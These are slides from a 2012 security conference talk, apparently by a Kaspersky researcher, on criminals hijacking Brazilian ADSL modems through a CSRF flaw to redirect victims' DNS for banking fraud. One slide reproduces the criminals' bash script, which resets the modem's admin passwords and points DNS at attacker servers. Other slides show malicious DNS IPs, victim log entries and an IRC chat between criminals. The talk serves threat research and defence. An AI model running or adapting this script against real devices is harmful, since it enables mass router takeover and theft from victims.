The tale of one thousand and one ADSL modems
Network devices in the sights of the cybercriminals

Fabio Assolini, Malware Researcher, Kaspersky Lab
twitter.com/Assolini
Virus Bulletin 2012 – Dallas, USA
introduction
the problem
“If we can’t attack a computer or a server, we’ll attack a router or modem...this way, we’ll win”

Brazilian bad guy chatting in a criminal IRC room
compromised in a massive remote attack against SOHO network devices located in the country, since 2011, according Brazilian CERT
The tale of one thousand and one ADSL modems
Network devices in the sights of the cybercriminals

✓ Modems and routers: devices full of vulnerabilities, bugs and flaws openly public and ignored by (some) vendors, administrators, ISPs, the security industry.
✓ Devices used with default password

✓ Non-standard upgrade model, lack of updates from vendors
✓ Problem ignored by users as long as they keep doing their job
✓ Web admin interface vulnerable to authentication bypass via CSRF
✓ SOHO routers on corporate networks are more likely than you think
✓ Hard to detect attacks with AV, attackers don’t need to bypass it
✓ Result: massive attacks are REAL and here to stay
attacks
criminals in action
According a CSIRT of a Brazilian Bank

40 malicious DNS servers
The tale of one thousand and one ADSL modems
Network devices in the sights of the cybercriminals
The tale of one thousand and one ADSL modems
Network devices in the sights of the cybercriminals

<table>
<thead>
<tr>
<th>URL</th>
<th>Exploit Name</th>
</tr>
</thead>
</table>
The tale of one thousand and one ADSL modems
Network devices in the sights of the cybercriminals
The tale of one thousand and one ADSL modems
Network devices in the sights of the cybercriminals

| 50.97.1XX.146 | 64.251.XX.113 | 64.251.XX.114 | 65.111.1XX.179 | 66.90.1XX.243 |
| 66.228.XX.253 | 67.237.2XX.11 | 67.227.2XX.12 | 69.162.1XX.237 | 69.162.1XX.238 |
| 69.167.1XX.226 | 69.167.1XX.227 | 69.164.2XX.125 | 69.60.1XX.55 | 74.63.2XX.45 |
| 74.63.2XX.46 | 124.248.2XX.9 | 173.255.2XX.114 | 173.230.1XX.35 | 174.127.XX.168 |
| 178.79.1XX.139 | 190.120.2XX.41 | 190.120.2XX.57 | 190.120.2XX.233 | 200.35.1XX.230 |
| 200.35.1XX.20 | 212.113.XX.92 | 216.144.2XX.157 | 216.144.2XX.158 | 216.144.2XX.45 |
| 80.82.XX.198 | 94.23.XX.18 | 69.167.1XX.228 | 216.245.2XX.181 | 216.245.2XX.182 |
| 66.XX.110.243 | 80.XX.XX.198 | 91.94.XX.202 | 190.XXX.227.114 | 190.XXX.227.115 |
bugs

vulnerable hardware
6 hardware manufacturers affected

* According to a CSIRT at a Brazilian bank
The tale of one thousand and one ADSL modems
Network devices in the sights of the cybercriminals

The flaw exploited of the Brazilian attacks: chips from Broadcom are affected by a specific CSRF on admin panel. Published on March 2011 on Exploit.db, detected as HackTool.Shell.ChDNS.a

```bash
#!/bin/bash
ip completo=$1

dns1="216.144.252.157";
dns2="216.144.252.158";
copts="-s --max-time 30 --connect-timeout 30";
echo "Efetuando disparo $ip_completo";
x=`nmap -SS $ip_completo -n -p T:80 | grep "Host is up"`; 
if [ "$x" ];
then
    echo "Trocando Password do ADSL $ip_completo";
curl $copts http://$ip_completo/password.cgi?usrPassword=dnschange -d "userName=3&pwl0ld=user&pwNw=dnschange";
    if [ $? == "0" ];
    then
curl $copts http://$ip_completo/password.cgi?usrPassword=dnschange -d "userName=2&pwl0ld=support&pwNw=dnschange";
curl $copts http://$ip_completo/password.cgi?usrPassword=dnschange -d "userName=1&pwl0ld=admin&pwNw=dnschange";
curl $copts http://$ip_completo/dnsconfig.cgi -d "dnsPrimary=$dns1&dnsSecondary=$dns2&dnsDynamic=0&dnsRefresh=";
v=`curl $copts http://$ip_completo/rebootinfo.cgi -u admin:dnschange | grep "DSL Router Reboot"`;
    if [ "$v" ];
    then
        echo $ip_completo >> modem-owned.log
    fi;
fi;
```
The tale of one thousand and one ADSL modems
Network devices in the sights of the cybercriminals

Automating attacks: scripts running in dedicated servers to scan a range of IPs
The tale of one thousand and one ADSL modems
Network devices in the sights of the cybercriminals

✔ 6 hardware manufacturers affected by these flaws, all leading vendors of network devices to SOHOs in the Brazilian market

✔ Negligent vendors: how many security researchers are reporting flaws on network devices? Are all these bugs being fixed? How many flaws aren’t reported?

✔ Guilty ISPs: it’s common in Brazil (and probably other parts of the world) for local ISPs to lend their customers OLD and VULNERABLE network devices

✔ Government: ANATEL, Brazil’s National Agency of Telecommunications, approves network devices before vendors can sell them, but they don’t verify security issues, only standard functionality….
money
it’s all they want
The tale of one thousand and one ADSL modems
Network devices in the sights of the cybercriminals

- One DNS server was located in Brazil and a law enforcement agency had access to it
- One log had info on more than 14k victims, while another had more than 30k
- The attacks always occurred at certain times of the day (business hours)
- In several modems the Google DNS was configured as a secondary server

<table>
<thead>
<tr>
<th>date</th>
<th>addr</th>
<th>info</th>
</tr>
</thead>
<tbody>
<tr>
<td>2012-01-25</td>
<td>12.48.16.2</td>
<td>Browser Executando WIN XP</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>146.83.197.190</td>
<td>Browser Executando WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>146.83.197.190</td>
<td>Browser Executando WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>149.9.0.230</td>
<td>Killer Instalado</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.172.107</td>
<td>Browser Executando WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.172.107</td>
<td>Browser Executando WIN XP</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.172.107</td>
<td>Browser Executando WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.172.107</td>
<td>Killer Instalado WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.172.107</td>
<td>Killer Instalado WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.172.107</td>
<td>Killer Instalado WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.172.107</td>
<td>Killer Instalado WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.172.206</td>
<td>Browser Executando WIN XP</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.172.206</td>
<td>Killer Instalado WIN XP</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.64.198</td>
<td>Killer Instalado WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.64.198</td>
<td>Killer Instalado WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.75.32</td>
<td>Browser Executando WIN XP</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.75.32</td>
<td>Killer Instalado WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.75.32</td>
<td>Killer Instalado WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>159.70.97.42</td>
<td>Browser Executando WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>177.0.130.25</td>
<td>Browser Executando WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>177.106.10.188</td>
<td>Browser Executando WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>177.106.12.195</td>
<td>Browser Executando WIN XP</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>177.106.121.36</td>
<td>Browser Executando WIN XP</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>177.106.13.12</td>
<td>Browser Executando WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>177.106.145.68</td>
<td>Browser Executando WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>177.106.146.106</td>
<td>Browser Executando WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>177.106.146.232</td>
<td>Browser Executando WIN 7</td>
</tr>
<tr>
<td>2012-01-25</td>
<td>177.106.149.182</td>
<td>Browser Executando WIN 7</td>
</tr>
</tbody>
</table>
The tale of one thousand and one ADSL modems
Network devices in the sights of the cybercriminals

[13:20:00] baRao: how was your work today?
[13:21:51] Carlos S/A: we’re looking to program an ADSL modem scan
[13:25:49] Carlos S/A: it’s a DNSChanger
[13:25:54] Carlos S/A: something on this way
[13:26:30] baRao: did you give up to create new bankers?
[13:26:50] Carlos S/A: no no
[13:26:53] Carlos S/A: it’s exactly for it
[13:27:05] baRao: your bankers aren’t working even more?
[13:27:49] Carlos S/A: now I’m working on a DNS changer
[13:28:00] Carlos S/A: and a new method to infect
[13:37:57] Carlos S/A: you know it?
[13:38:21] baRao: on this way we’ll never loose access on the machine
The tale of one thousand and one ADSL modems
Network devices in the sights of the cybercriminals

[13:39:55] Carlos S/A: we catch a lot of info and
[13:40:08] Carlos S/A: we put an warning
[13:40:58] Carlos S/A: each infection was a “info” collected
[13:41:11] Carlos S/A: but we aren’t owning a DNS server, we’re scanning routers and modems and changing the DNS using a script
[13:42:59] Carlos S/A: we know about another guy that developed this script and all scheme is really crazy, he earned a lot of money, traveled and spent all the money on Rio de Janeiro, when back he have no money and need to start again, but he delays a lot, for this reason we’re creating our own scanner
[13:43:25] Carlos S/A: it’s incredible the guy hasn’t a car or a motorcycle, he only want to stay on Rio with prostitutes all day
[13:43:44] Carlos S/A: last month he earned more than 100,000 (one hundred thousand) reais and spent everything on Rio…
what can we do?
If network device vendors fail to deal with security issues, how can AV vendors protect their customers against these attacks?

Will we need to develop protection for users’ hardware?

Are antivirus companies responsible for detecting these kinds of exploits? Is detecting them enough to protect our customers?

What about malicious redirects made via the DNS configured in these device? How good is your heuristic phishing detection?

While we detect a large amount of malware, can and should we also track down such exploits?

There are lots of questions and, so far, not very many answers.
Questions? Thanks!

The tale of one thousand and one ADSL modems

Network devices in the sights of the cybercriminals

Fabio.assolini@kaspersky.com | twitter.com/assolini
Malware Researcher, Kaspersky Lab
Virus Bulletin 2012